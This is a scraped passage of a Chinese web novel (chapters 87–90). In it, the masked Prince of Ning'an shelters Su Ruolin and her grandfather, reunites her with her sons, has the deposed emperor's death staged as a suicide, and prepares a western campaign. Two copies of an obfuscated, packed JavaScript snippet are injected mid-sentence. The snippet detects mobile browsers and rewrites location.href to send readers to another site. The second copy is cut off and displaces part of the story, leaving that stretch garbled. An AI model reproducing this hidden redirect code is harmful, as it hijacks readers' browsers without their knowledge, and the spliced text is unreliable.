“我当初就不该让你留下来!”祝贤盛是真的悔不当初。 末了,有人把祝贤盛的拐递了过来,在将士的搀扶下,祝贤盛终于拄着拐站了起来,而后看向一直安安静静站在一旁的萧怀琳:“你就是宁安王?” 87. 团聚 尽管祝贤盛苍老的脸上还带着泪痕,浑身上下狼狈不堪,然而这并不影响他看向萧怀琳那一瞬间迸发的锐利气场。 韩龙吓了一跳,他还没见过气势能和自家王爷掰腕子的人呢。 这老爷子和刚才抱着孙女哭得稀里哗啦的老头是一个人吗? 而萧怀琳从方才起就默默地站在一旁,看着母亲脖颈上的血痕,面具很好得遮盖了他的情绪,遮盖住了那泛着寒光的银色面具之下早已掀起的惊涛骇浪。 如果他能再快一点,再快一点,母亲和曾祖何苦遭受这般苦难? 在他的记忆里,母亲向来恬静优雅,那张绝色面容永远都带着温和的笑意,那细嫩洁白的肌肤连一丝一毫的瘀伤都不曾有过。 倘若他能早些回来,母亲又怎会受伤! 正出神间,萧怀琳忽地听到老爷子的呼唤,他堪堪回过神,随后拱手作揖,竟是行了一个晚辈礼:“正是晚辈。” 见到堂堂宁安王竟然对自己行礼,祝贤盛也是惊愕到了,不过只一瞬,他就恢复了往日的神情:“多谢王爷救我祖孙二人性命。” 苏若琳亦跟着行礼:“多谢王爷救我和祖父性命。” “这都是我应尽之责。”萧怀琳强压下心底的情绪,颔首道,“如今京城内敌军尚存,此地不宜久留,两位随我移至安全处可好?” 在到达安全处之前,祖孙两人还以为宁安王是清理出了一片地方收留百姓。 然而等他们下了马车,看着那金碧辉煌的大门上横着一块“安定侯府”的牌匾时,他们才发现这似乎不对劲。 宁安王这么大方,竟然把自己的府邸清出来收留百姓? 随后等他们进了府,才发现事根本不是这么个事。 “这里就是王爷所说的安全处?”苏若琳不禁问道。 “没错。”萧怀琳点头,“这里是满京城最安全的地方,二位大可放心住在此处。” 苏若琳哑口无言。 这地方它确实是最安全的地方没错,但是王爷您把我们祖孙两人带到您的府邸来住是个什么情况! 她一时间搞不懂宁安王是个什么意思,便听见对方道:“二位不必拘束,我这王府之内可随意走动,没有什么好避讳的,二位且将王府当作自己家即可。” ......这根本当作不了啊! “现如今京城内贼寇众多,我还有诸多事宜需要处理,便先行离开一步。” 萧怀琳说着就要离开,苏若琳连忙拦住他:“等等,王爷!” “怎么了?”萧怀琳转过身问道,温声细语得宛若一片轻抚过她心间的羽毛。 苏若琳一时间觉得心里有些别扭,不过正事要紧,她很快就压下这股不对劲,望着萧怀琳恳求道:“臣妇有两个儿子,一名杨纨玦,一名杨纨枫,皆在前线奋战,如今生死未卜。” “臣妇恳求王爷帮忙打探他二人的下落,若是他们二人还活着,望王爷将我们祖孙二人的下落告知于他们,若是,若是......” 苏若琳咬着唇,一句“若是”说了许多遍,仍没有勇气再说下去。 泪水逐渐朦胧了视线,那整颗心如同被生生撕裂了一般得痛,若是那两个孩子没能活下来,那该怎么办?她该怎么办? “不会的。”萧怀琳伸出手落到了苏若琳的发顶,轻声安慰道,“你放心,我会派人打听他们的下落,他们二人定然会没事的。” 感受到头顶传来的温暖,苏若琳苦涩的心被注入了一丝希望,像是即将溺亡之人不顾一切地抓住漂浮在水面的树木——她必须去相信,也只能相信。 苏若琳用力点头,不断地告诉自己,对,没错,这两个孩子少年英才,老天怎么能忍心这么早就把他们带走? “还有。”泛着银光的面具遮盖住了宁安王此时的情绪,也遮盖住了他的想法,“以后你我相称即可,不必自称臣妇。” 苏若琳恍然,这宁安王......究竟在想什么? 为什么她一点也看不懂? 祝贤盛站在一旁,静静地望着萧怀琳离去的背影,锐利的目光像是一头野兽,要把后者吞噬。 他活了大半辈子,什么人没见过?这小宁安王对自家孙女的态度可是...... 且不说小妮子已经嫁过人了,哪怕这小宁安王不介意,小妮子比他大了得有五岁吧? ......还是再观察观察,现在还有更重要的事,不知道京城现在的情况究竟如何了。 但好在,既然这小宁安王来了,京城想必最后肯定能守下来。 萧怀琳走后,便有管事上来,毕恭毕敬道:“王爷先前吩咐过了,二位若是有什么需要尽管直言,只要是王府能够做到的,全府上下必定尽心尽力,让二位宾至如归。” 苏若琳整个人都很汗颜,这“宾至如归”实在是......这宁安王到底是怎么回事,难道他看出来老爷子是京城守军的幕后之人? 不然干什么平白无故这么客气。 苏若琳还没想出个所以然来,便有婢女带着她去了后院,等到了院子里之后,她不禁眯起眼。 嘶,这院落...... 和她的碧月轩也太像了。 望着这熟悉的院子,熟悉了屋子,甚至是熟悉的家具,这下她可是真的有了那么一点宾至如归的感觉。 “你们王府的院子都布置得这般华丽么?” 要知道,她屋内的那些装潢可是造价不菲的,都是她自己拿嫁妆置办的,若只是一个安定侯府可拿不出那么多钱。 婢女含笑道:“小姐说笑了。” “小姐?”苏若琳不禁轻笑出声,她都当安定侯夫人这么多年了,居然还能听到有人喊她小姐,“不是小姐,我是安定侯之母,是夫人。” 婢女疑惑地看着她:“您不是苏家大小姐么?” 苏若琳一愣:“我的确是。” “那就没错了。”婢女轻笑,“王爷先前吩咐的时候,便是喊得‘苏小姐’。” 哦,苏若琳恍然大悟,原来如此,怪不得王爷对他们这般客气呢,她都快忘了,自己娘家还是萧军的赞助商呢。 随后便有下人抬了烧好的热水送过来,婢女带着她去了耳房沐浴,等到沐浴过后又送来了吃食。 摸着婢女呈上的衣裙的料子,苏若琳不禁感叹,这王府的规制当真是比侯府还要高不少,这料子轻如鸿毛,丝滑柔顺,她从前竟见都没见过。 待她更衣过后,婢女们看着她俏丽的身姿惊叹:“小姐当真是天仙之姿!” 苏若琳心里乐开了花,主事侯府这么久,已经很久没人夸她漂亮了,这一口一个小姐喊得,让她觉得自己都变年轻了不少。 她把这几个婢女记下了,等她回府拿了钱之后定然要重赏。 想到重赏,苏若琳又不由得想到红烛绿俏她们,现如今她们定然已经逃出京城了吧?有父亲他们在,应是不会有危险的。 待京城这一遭过去,定然是能团聚的。 这般想着,苏若琳不由得平添了几分劫后余生的庆幸,所谓大难不死,必有后福,她这都没死,许愿纨玦和纨枫好好的肯定能实现吧? 等到一切都收拾好以后,天色已然入夜,婢女来到苏若琳面前行礼道:“苏小姐,王爷请您去前院一趟。” “你们王爷已经回来了?”苏若琳惊讶道。 婢女颔首:“已经回来了。” 苏若琳连忙跟着她去了前院,等到了主院的前厅,那个戴着银色面具的身影正坐于主座之上,彼时萧怀琳已经褪去了白日里的甲胄,整个人看着竟比临走时还要温和几分。 萧怀琳见到她来,原本平淡的嘴角微微勾起,露出了一个和煦的微笑:“苏小姐。” “见过王爷。”苏若琳虚行一礼。 “往后苏小姐在我面前不必行礼。”萧怀琳顿了顿,到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387828|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底是没把那句“也不必称我王爷”道出口。 现在还不是时候。 苏若琳暗叹这宁安王也太客气了,客气到一点亲王架子都没有了,一个带兵打仗的将领居然能这么平易近人? 压下内心的腹诽,苏若琳不禁问道:“王爷唤我来所为何事?” 话音未落,忽地身后传来一声熟悉的惊呼:“母亲!” 苏若琳转过身,就看到纨玦纨枫两兄弟惊讶地望着她,随后......她就看不清了。 她心想,她这两日怕是把这辈子的泪水都流完了。 待到两兄弟走近后,她不由分说地将两兄弟一把抱在怀里,口中呢喃道:“太好了,你们两个没事,太好了。” 太好了,苍天有眼啊,太好了! 两兄弟感受到母亲颤抖的身躯,心也不由得跟着颤动,纷纷伸出手回抱住她,安抚道:“母亲不要伤心了,我们都没事。” “王爷都跟我们说了。”杨纨枫的目光落到苏若琳脖颈的那道划痕上,藏在袖子里的手已然握紧,“您和曾祖都没事,实在是太好了。” 苏若琳看着短短一日未见,便又瘦了许多的两个孩子,不禁伸出手去触碰他们憔悴的面庞:“你们两个不容易,可有受什么伤?王爷是在哪找到你们的?” 杨纨玦摇头轻笑:“我们没受伤,王爷是......” 然后就被杨纨枫打断:“你胡说。” 杨纨玦扭过头,就见自家弟弟瞪着他:“若不是王爷来得及时,你还能站在这?” 闻言,苏若琳连忙握住他的手,语气中已然有了几分急迫:“你又受伤了?伤在哪了?” 杨纨玦低下头不语。 敌人的长枪划破了他的胸膛,再深几寸便能要了他的命,那道狭长的伤口虽然已经上过药,如今仍旧作痛,方才母亲这一抱更是令他倒吸了一口冷气,是他强忍着才没表现出来。 他实在不想让母亲担心。 杨纨枫知晓他内心的想法,叹了口气:“也不是很严重的伤,母亲无需担心。” “城门被迫以后我们就在想办法回府找你们。”杨纨枫的眸色暗了几分,“但是敌人太多了,等我们赶回侯府的时候,根本找不到你们的踪迹,倒是见到了敌军的尸首。” “不过现在好了。”他轻笑,“知道您和曾祖都没事,我们可以放心了。” “这还要多谢王爷。”苏若琳扭头看向主座的萧怀琳,感激道,“王爷您不禁救了我和祖父,还救了我的两个孩子,这份恩情,我安定侯府铭记于心,来日若有机会,必定加倍奉还。” 苏若琳说着就要跪下行大礼,萧怀琳连忙上前拦住她。 他微微叹了口气:“我说了,你不必如此客气。” “况且。”萧怀琳又看向杨纨枫,似笑非笑道,“本王依稀记得,一年前安定侯府两位少爷前往县试的途中,曾与本王做过约定,若是两位少爷日后高中,便请两位少爷来王府做客。” “如今我看当时的另一位少爷不在,不过换成安定侯本人也是一样的。” 杨纨枫有些惊讶,没想到如今都乱成这样了,宁安王竟还记得这件事。 他当即行礼:“王爷当初的赏识杨某铭记于心,如今又王爷蒙受大恩,杨某今后必当为王爷鞠躬尽瘁。” 显然是已经在表忠心了。 杨纨玦随即也向萧怀琳行礼表忠,不过与杨纨枫不同的是,杨纨玦就是安定侯本人,而非安定侯的弟弟,他的效忠,就不仅仅是代表着他一个人,而是真真正正地代表了整个安定侯府。 萧怀琳轻笑:“好,早先在北疆时便听闻安定侯府两兄弟天纵之资,乃文曲星下凡,如今看来果真是天子骄子,得此良才,本王甚是高兴。” 话音刚落,屋外再次传来的脚步声,只不过这次不是一个人,听声音,竟像是一群。 萧怀琳挑眉:“看来诸位来得正是时候啊。” 88. 王府陈姨娘 几人回过头,便见到前厅的大门被推开,张辅之推门而入,陆恒之搀扶着祝贤盛紧随其后走了进来。 再后面的,文臣武将,以及萧军的诸位将领,不一而足。 这……看起来竟像是来开会的? 众人见到苏若琳,似乎有些惊讶,有心直口快的武将直言道:“这是哪位?” 话音未落,人群里边站出来一个人:“若琳?!” 苏若琳惊讶道:“大哥!” 眼见着走出人群,疾步赶来到她面前的还能是谁? 自然是她那跟随萧军北伐归来的大哥苏若景。 见到自家妹妹,苏若景着实惊出了一身冷汗:“你怎么会在京城?” 他抓着自家妹妹的肩膀,把她从头到脚检查了一遍,确认其安然无虞,这才松了口气。 “如今京城这般危险,清晨时分守军不是从东城门杀出重围了吗?你怎么没跟着走?” 随后苏若琳那雪白的脖颈间清晰的伤疤便映入他的视线:“这是怎么弄的!” 他妹妹从小娇生惯养,是一点苦都没吃过,从小到大莫要说疤痕了,便是哪块皮肤青了一点都心疼得要命,何曾受过这么重的伤? 苏若琳捂住伤口,心虚地笑了笑:“不是什么大事,如今已经安全了。” “你!”苏若景瞪着她,又是气恼又是心疼,却偏偏舍不得拉下来来责骂,最后只得重重地叹了口气。 祝贤盛的目光则落到纨玦纨枫两兄弟身上,见到两兄弟完完整整地站在他面前,他也终于放下心来:“你们两个没受伤?” 杨纨枫看了一眼自家兄长,没有说话,杨纨玦笑了笑:“我们都很好,没受伤。” 祝贤盛的目光在杨纨玦的胸口停留了片刻,没有再言语。 有萧军的将领站出来朗声道:“杨纨玦这小子很能打嘛!在战场上以一敌五不成问题,听说师从北辰侯,看得出来天资颇高,有王爷您当年的风范啊!” “哦?”萧怀琳意味深长地看向杨纨玦,“可是据本王所知,安定侯乃是今年的新科进士,走的是从文的路子。” 杨纨玦作揖道:“家国有难,臣愿投笔从戎。” “好一个投笔从戎!”萧怀琳笑着看向人群里的北辰侯,“北辰侯找了一个好女婿啊!” “啊?原来这小子是北辰侯的女婿?”北辰侯身边的武将纷纷看向他,好奇道,“北辰侯何时同安定侯府定的亲,我们竟不曾知晓?” 北辰侯面上不语,心里却早已冷汗涟涟,秋歌和纨玦的事只有他们两家人知道,从未对外人提起过,这宁安王是从何处得知? 看来宁安王比他想象中的更加深不可测。 唉......深不可测些好啊,总比新帝这种只会耍小聪明的人更适合坐稳这江山。 只是面对身边人的追问,他还是讪笑着转移话题:“咱们还是商议正事吧。” “确实。”众人纷纷道,“舆图呢?” “在这!”其中一个将领举起手里的舆图。 随后便有人又看向苏若琳,事关军事机密,一个家眷留在此处不合适吧? 苏若琳也意识到了接下来的事情不是她能听的,正打算告退,便听得萧怀琳在身旁道:“无妨,你若是想听便留在这里听一听,若是不想听便回去休息。” 语气之温柔,恰似那人间四月和煦的微风,而在这轻拂过的微风之中,竟仿佛还夹杂着一丝若有若无的宠溺。 萧军将领们闻言大惊,王爷这是?! 他们跟随王爷足足有四年,看着王爷从最初的软弱无能变为如今的杀伐果决,哪怕王爷是在当年最柔弱的时候,都未曾用这么轻柔的语气讲过话。 将领们纷纷低下头小声向同僚印证,他们方才是不是耳鸣听错了? 就连陆恒之都低声问祝贤盛:“小宁安王看上你孙女了?” 然后被祝贤盛和张辅之不约而同地瞪了一眼,讪讪地闭上了嘴。 只是苏若琳自己却并没有多么大的感触,在她的印象里,宁安王似乎一直都是这么温柔和煦的。 她仔细想了一下,自己就算留在这里听估计也听不懂,说不定这些大老爷们也会因为她一个女眷在此弄得不自然,有些话不好直说,她还是回去吧。 “那我就先告退了。” 萧怀琳轻轻点头:“青芙,送苏小姐回去休息。” 苏小姐? 苏家大小姐已经嫁人了吧?安定侯本人和其弟杨二公子不是都要喊她母亲么? 就连苏若景都颇有些意外地看着萧怀琳,王爷这是何意? 虽然自家妹妹自然也是极优秀的,可王爷那是什么人?随便一招手,满京城的勋贵都得争着抢着把自家女儿送上门,更何况自家妹妹还已经嫁过人了...... 虽然如今也还是个黄花大闺女便是了。 而苏若琳本人并未知晓自己已然成为了众人的话题所在,她跟随着青芙离开外厅,一路回了后院。 行至后花园,忽地有个婢女走了过来,附到青芙耳边小声说了些什么,青芙扭头看向苏若琳:“实在抱歉苏小姐,奴婢这边临时有件急事需要处理,劳烦苏小姐在此等候片刻可以么?” 苏若琳点头:“无妨。” “辛苦苏小姐了。”青芙道,“一刻钟内奴婢必定回来。” 待到青芙离开以后,苏若琳左右无事,瞧见不远处有个池子,池边还种了不少桃树,如今正值四月,芬芳扑朔的桃花随风而动,落到了澄澈的水面上,当真是秀丽雅致。 走得近了,这才发现原来池边还立着一座亭子,那亭子还挂着和桃花相映衬的粉色纱帘,而在纱帘的遮掩下,竟隐约能看到亭子里正坐着一个人。 亭子里的人似是也察觉到有人来了,朱唇轻启,声音悦耳:“请进。” 苏若琳颔首:“打扰了。” 待掀开纱帘,她这才看见亭子里坐着的竟是一个妙龄少女,少女坐在玉石桌前,而在玉桌之上,龙井的茶香随着水雾弥漫在空中,令人心旷神怡。 苏若琳不禁挑眉,这宁安王好雅兴啊,还金屋藏娇? 望着那少女对面放着的一盏热茶,苏若琳问道:“姑娘在等人?” 听到这一声“姑娘”,少女轻笑出声:“‘姑娘’一声担不起,我姓陈,是王爷的妾室。” “苏夫人请坐。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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......也是,若是没点心机,就凭她这比王爷还要大上许多的年岁,又怎能讨得王爷欢心? 陈姨娘张开口,还想要再说些什么,忽地不远处传来了青芙的呼唤,她含笑道:“想来是青芙回来了,今日一见苏夫人倍感亲切,我们日后有缘再慢慢聊。” 苏若琳淡淡地应了声,掀开纱帘走了出去。 只是这一插曲实在是有意思,直到跟着青芙回了院子,苏若琳到底没忍住,问了一嘴:“我方才在后花园等候时,见到了王爷的妾室,姓陈。” 她话音未落,便见到走在前边的青芙回过头,纳闷地看着她:“王爷的妾室?” 苏若琳点头,意识到青芙的态度不对:“可是有何不妥?” “王爷从未纳过妾。”青芙道,“莫要说妾室,王爷这些年来连一个通房都未曾有过。” 欸? 苏若琳使劲眨巴眼,这这这不对吧? 原来青芙不是宁安王的通房? 可是那个陈姨娘怎么说她是宁安王的妾? 89. 吃瓜吗 苏若琳搞不懂,青芙同样眉头紧锁,她沉思了许久,才缓缓道:“如今后院里的女眷都是老王爷留下的姬妾,想来那位姓陈的妾室也是如此。” “可是那位陈姨娘告诉我,她是去年才进的门……” 去年老王爷病重在塌,要如何纳妾? 而青芙听到此言,那本就紧锁的眉头更皱了几分:“那个陈姨娘是这么跟您说的?” 苏若琳点头。 “我明白了。”青芙脸上戴着的银色面具下,琥珀色的双眸闪着骇人的光,“此事我会妥善处理,苏小姐不必为此忧虑,只当从未发生过就好。” 只是这实在叫苏若琳没法当做没发生过。 比起那个陈姨娘,她自然是更信青芙的话。 可若那陈姨娘真是老宁安王的妾室...... 那孩子如今也才十五岁啊,老宁安王那几年身体都不怎么好,不可能还有心力纳妾,若那孩子真的是老宁安王的妾室,那她怎么也得在两三年以前,也就是十二三岁甚至更小的时候,就被纳进府里。 若是此事当真,那老宁安王可真是个畜生。 父亲尚且如此,那宁安王…… 苏若琳赶紧摇了摇头,想什么呢,那小宁安王不是连个通房都不曾有么,想来是个洁身自好的。 只是…… 她不由得想起今日初见宁安王时,对方就将她紧紧拥入怀中,以及对方三番五次地对她态度暧昧。 …… 啊啊啊!想什么呢,宁安王是她的救命恩人,更是救了纨玦的性命,她再怎么也不能用这么龌龊的想法去肖想救命恩人! 更何况人家贵为大楚唯一的亲王,不出意外还会是未来的皇帝,随便招招手满京城得有多少姑娘趋之若鹜,他能看得上自己? 苏若琳越想越觉得合理,那宁安王就是一个温和的谦谦君子,是自己想太多了。 放下了心事,苏若琳在这王府待得也还算自在,左右她也不爱出院子,犯不着和老王爷的那群姬妾们打交道,这日子过得竟和从前在侯府里也没什么差别。 唯一感到不适应的地方是身边的丫鬟换了人,少了她的陪嫁丫鬟红烛和一手栽培的绿俏,她这心也总是放不下。 昨日父亲来信,道是把侯府众人都平安送到了京城外的庄子上,那里还是安全的,又听闻她和老爷子都被宁安王所救,甚是庆幸。 虽然没办法掺和打仗之事,但她积极打听一些消息自是无伤大雅,好在无论是来送家书的兄长还是运筹策帷帐之中的老爷子,都没有隐瞒她的打算。 甚至于有些她听不懂的地方,老爷子还能指着舆图上的标识,一步一步地教她分析,把东西掰碎了讲给她听。 有了名师指点,苏若琳自己也是个聪明的,没过多久也逐渐看明白了,京城的形势确实是越来越好。 如果仅仅是将敌军驱逐出京城其实并非难事,麻烦的是要消耗敌军的兵力,让敌军疲于周旋,从而没有精力把兵力转移向其他城池。 好在有了宁安王和萧军的到来,如今他们最大的优势并非是兵力上的补充,而是萧军的到来为京城打开了一条通路,使得军需物资能够源源不断地送进来。 如是过了三日,将士们激动地宣布,突厥被彻底驱逐出京城,退回了攻占京城前的上一座城池。 消息传回王府的时候,苏若琳正在祝贤盛的指点下学着分析局势,知晓敌军终于撤离京城,如同一个被吊在断崖上、稍有不慎便会摔得粉身碎骨的人终于平稳落了地,满心都是劫后余生的庆幸。 随后青芙便奉命来请祝老爷子去前厅商议正事,苏若琳刚要告退,便听得青芙道:“王爷特意吩咐,要苏小姐一起去。” “我也去?”苏若琳瞪大眼睛,“我去做什么?” 青芙颔首:“王爷命令便是如此,奴婢也不曾知晓。” 祝贤盛目光幽邃地看着青芙那泛着寒光的银色面具,半晌牵起苏若琳的手:“小妮子,咱们走。” 等到祖孙二人到达前厅时,众人正在商议对新帝的处置。 “如今陛下与娘娘们尚且幽居于后宫,皆安然无恙,只等王爷裁决。” 如今新帝是死是活,只等宁安王一句话了。 萧怀琳高坐于主座之上,冷笑一声,而那本就冰冷的银色面具随着这一笑变得愈加森寒。 “庆和帝见突厥攻入京城,自觉治国无能,上愧对列祖列宗,下无颜面对百姓,悔恨交加之中于太极殿前自缢,去吧。” “是。”随着萧怀琳一摆手,下属领命离开。 苏若琳不可思议地看着萧怀琳,这是她这些日子以来第一次见到宁安王这幅神情,再也没有了往日的温柔和煦,而与之替代的则是冰冷的肃杀之气。 一句话就决定了别人的生死,原来......这才是王爷的真实面孔么? 仿佛是意识到了自己正被人注视着,萧怀琳扭过头,恰巧迎上了苏若琳惊讶的目光,于是下一刻,那满身的森寒气势在刹那间收拢,而那双冰冷的双眼在一瞬间重新拥有了温度。 这一切变化之快,反差之大,如同满身刺的玫瑰突然间卸掉了所有的尖刺,只余下那芬芳美丽的花朵供人采摘,令苏若琳看呆了。 正失神间,便听得那温柔悦耳的声音响起,明明已经熟悉得很,如今听着却又有些不大真切:“来了?坐。” 此时一众大臣将领们见到苏若琳再也不会有什么意见,聪明一些的自然早已看懂了王爷的意思,甭管王爷对这苏家大小姐是真的一见钟情还是单纯玩玩,至少王爷如今是切切实实地青睐人家,他们何必去触这个霉头? 苏若琳搀扶着祝贤盛坐到张辅之和陆恒之中间,彼时众人也都知晓了祝贤盛的身份——这个眼神锐利、看着就不好惹的瘸腿老头便是杨纨枫公子的授业恩师,也是京城守军的幕后主导者之一。 待到祝贤盛落座以后,苏若琳本想找个角落坐一下,然后左瞧瞧右看看,满厅唯一的空位竟然在萧怀琳右手边。 她的目光才刚落到那空椅子上,萧怀琳已然伸出手做了一个“请”的手势。 ——显然这位子就是给她准备的。 苏若琳:呃...... 聪明的一点的人眼观鼻鼻观心,权当没看见;没脑子的张口想开点王爷和苏小姐的玩笑,祝贤盛和杨家两兄弟环视全场,眼中饱含杀意,谁敢多一句嘴就给他瞪回去。 最后苏若琳还是硬着头皮坐到了萧怀琳旁边。 甫一落座,苏若琳便嗅到了一股淡淡的清香,这香味清新淡雅,闻着竟有些熟悉。 苏若琳用力嗅了嗅,顺着香味扭过头,赫然看到宁安王正笑意盈盈地看着她,那银色面具也遮不住的好看双眸似乎都弯成了月牙。 “在闻什么呢?” 苏若琳连忙收回视线,摆正坐姿,脸颊微微发烫:“没,没什么。” 奇怪,那香味怎么像是从宁安王身上传来的? 原来堂堂战场杀神的宁安王也用熏香? 而萧怀琳见母亲竟是害羞了,心里甚是惊奇。 他仿佛发现了什么新大陆一般,从前母亲向来是镇定从容的,一直在给予他安全感;后来他见过母亲伤心难过的模样,他的心也跟着不受控制得疼痛。 而如今,母亲羞涩脸红的模样,竟令他觉得......甚是可爱。 他不知怎得玩弄心起,还想再逗逗面前越 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望着满大厅众人愈吵愈烈,苏若琳瞪大眼睛,原来这就是朝堂吗? 不过在这个争议里边,张辅之和祝贤盛都是保守派,同仇敌忾痛斥激进派,而陆恒之不参与政事,闭着眼睛不闻不问。 苏若琳忽然觉得有点可惜,她其实挺想看张太师和祝老爷子吵架来着,神仙打架,不嫌事大。 正在这吃着瓜,不知何时青芙居然无声无息地端了盘水果过来,里面还真有各种瓜,西瓜甜瓜哈密瓜。 苏若琳:?现在这个年代已经引进这些瓜了? 耳边忽地传来宠溺的声音:“这些是从西南各国进贡来的,味道还不错,你应当会喜欢。” 苏若琳一扭头,登时一个放大版的银色面具和面具下边的半张俊脸撞入视线,吓得她倒吸了一口凉气。 萧怀琳朝青芙递了个眼神过去,青芙当即将托盘放到桌上告退。 萧怀琳含笑道:“这些瓜果不错,你尝尝。” 苏若琳心道这是真的吃上瓜了啊,可是王爷您不要靠得这么近啊啊啊,被这么一张秀气的俊脸盯着我很难大块骨朵啊! 她面上紧张得要死,吓得近乎空白的脑袋乱扑腾了半天,最终挤出了一个绝妙的话题。 “咳咳......王爷你就这么看着他们吵?” “嗯。”萧怀琳心情很好地点了点头,“让他们再吵一会。” 这这这,可是她觉得再吵一会就得打起来了啊! 难道这就是御下纵横之术吗,看下属们吵架,兴许就能从中观察到下属们的性格弱点什么的! 苏若琳越想越觉得合情合理,同时信服地点了点头。 说起来她之前管理侯府下人们的时候有没有这么干过,是不是可以学一学? 她不喜欢太过吵闹,兴许会把这种场面扼杀在摇篮里。 而且也没有哪个奴婢敢当着主子的面大呼小叫的吧? 萧怀琳注视着苏若琳认真思索的模样,那魂牵梦萦了三年的面庞如今就这么真切得映在他眼前,反倒叫他小心翼翼不敢去触碰,仿佛一旦碰到了,这来之不易的幸福便会如泡沫一般破碎,而他只不过是做了一场一触即散的美梦。 若是此时此刻能一直维持下去,叫他一直这么看着心上......的侧脸,便也足够了。 脑中划过那个美好又禁忌的称谓,萧怀琳的一整颗心都在微微颤动,他猛地回过神,不行,现在还不是时候。 他现在还没有这个资格。 这般想着,萧怀琳将注意重新放回满大厅吵架的众臣,朗声道:“安静。” 90. 点将西伐 闻言,原本喧嚣异常的外厅几乎是瞬间就安静了下来,苏若琳朱唇微张,在心里感叹道,这就是未来皇帝的号召力吗! 看得出来群臣们的执行力也都不错诶。 萧怀琳那银色面具下好看的凤目闪烁着一股不可抗拒的威严:“如今天下动荡,百姓流离失所,非将敌寇驱逐出大楚不可平息战火,否则本王愧对列祖列宗,愧对天下百姓,亦无心登基。” 显然是决定先把突厥赶出去再登基了。 群臣们闻言再无二话,有些激动的大臣甚至当即叩首行大礼:“王爷英明!” 这才是明君之相啊! 张辅之和祝贤盛暗暗打量着那高坐于主座之上的挺拔身影,内心百感交集。 他们方才是在吵架,可也在暗暗观察这个小宁安王的态度,在他们吵架的空当,这小宁安王表面是在看热闹,还抽空让丫鬟送来了水果,可实际上...... 这小宁安王如此年轻便已参悟了君王御下的手段? 他甚至还没登基,如果这小小的外厅也能比作太和殿的话,那这个小宁安王也才是第一次上“早朝”。 大楚的幸与不幸,可真是在这一代皇家子嗣身上尽数体现。 既然已经决定了要将突厥驱逐出大楚,那么接下来自然是要继续出兵西伐,将突厥一路攻占的那些城池重新夺回来。 平心而论,突厥的军队远不如北疆那般骁勇善战,更何况敌军兴许是见大楚先前派出的军队太过孱弱,又或许是敌军太过急功近利,竟从大楚西边直接打出了一条通路,直达京城。 这一路打过来,若是突厥真得把京城拿下了,那这就叫直捣黄龙,功绩千秋万代;可若是没把京城拿下,而且还被赶出去了,那么敌军就显而易见地陷入了一个尴尬的境地—— 他们一路打下的城池近乎凑成了一条直线,而南北相邻的城池仍旧是大楚的地盘,这就使得附近的城池根本无法给敌军提供援助,而敌军要撤退也只能从原路撤,把原本拿下的城池再吐出来。 这么冒失的打法,使得突厥即便攻下了那些城池,也丝毫建立不起任何根基,更别提因着突厥士兵们性情残暴,掠夺下的那些城池几乎全部洗劫一空,引得民愤交加。 简而言之,现在出兵西伐,正是最佳时机。 北辰侯在新帝手底下憋屈了许久,如今可算有扬眉吐气的机会了,当即请命带兵出征。 然后被萧怀琳给按了下来:“北辰侯留下镇守京城,谨防外敌再次趁虚而入。” 北辰侯:...... 北辰侯深吸了一口气,生生把那股郁气压了下来。 行吧,虽然还是很憋屈,可他也明白,镇守京城同样至关重要。 王爷并非是不重用他,恰恰相反,将镇守京城这么重大的任务交给他,正是要重用他的表现。 “既如此,那谁来带兵出征?”有大臣问道。 萧军的诸多将领已经开始磨拳擦踵。 最能打的北辰侯已经被留下来镇守京城,那这出征的事就该轮到他们了吧? 萧怀琳的唇角微微勾起:“自然是本王。” ......??? “不可啊!”当即就有大臣惊呼,很快诸多大臣也跟着反对,“王爷不可!” 现在整个大楚就剩王爷您一个继承人了!您要是有个三长两短那这江山就真的无主了啊! 乃至于张辅之也出声道:“击退突厥事小,稳固大楚江山事大,如今朝堂非王爷监国不足以安定,京城非王爷坐镇不足以太平,请王爷三思啊!” 祝贤盛看了张辅之一眼,没吭声。 只是也有萧军将领表示反对:“王爷领军拿下北疆十城,威名赫赫,敌军见王爷帅旗皆望而生畏,此番西伐若有王爷领军,必令敌军闻风丧胆,四散而逃,如此一来征伐之事更是事半功倍,有何不可?” “可若是王爷有个三长两短,这谁担待得起?!”有大臣质问他。 萧军将领吹胡子瞪眼道:“王爷神武之姿,战场之上以一敌百不成问题,有何人能伤王爷!” “是打仗就会意外,就算王爷再勇猛无双,可不怕一万就怕万一啊!” 眼见着两拨人又要吵起来,不过这一次萧怀琳并没有给他们再吵的机会,他略微一抬手,场面登时安静了下来。 “本王心意已决,诸位不必再说了。” 随后还未等大臣再开口劝阻,他直接开始点人:“随本王出征的将领,韩龙。” “末将在!”韩龙出列。 “宋骁。” “末将在!” “秦风。” “末将在!” ...... 如是点了五六个人名,随后萧怀琳忽地目光一转,看向坐在人群最前面的祝贤盛:“祝老先生,可愿随本王出征西伐?” 彼时祝贤盛正低头喝着茶,闻言颇有些意外地抬起头,满堂众人也皆十分震惊地看着他。 祝老先生再怎么满腹经纶,那也架不住身体有残啊,王爷居然让一个瘸腿老头陪他上战场? 就算撇下老先生有残这事不提,那打仗行军有多辛苦自不必言说,老先生这么大把年纪了,如何受得了这苦? 苏若琳更是紧张地看向萧怀琳,她就这一个爷爷啊! 她刚想要开口劝阻萧怀琳,却见后者伸出手臂拦在她面前,已然是告诉她不必再说。 萧怀琳那泛着寒光的银色面具下,一双动人的凤目闪烁着深不可测的光芒。 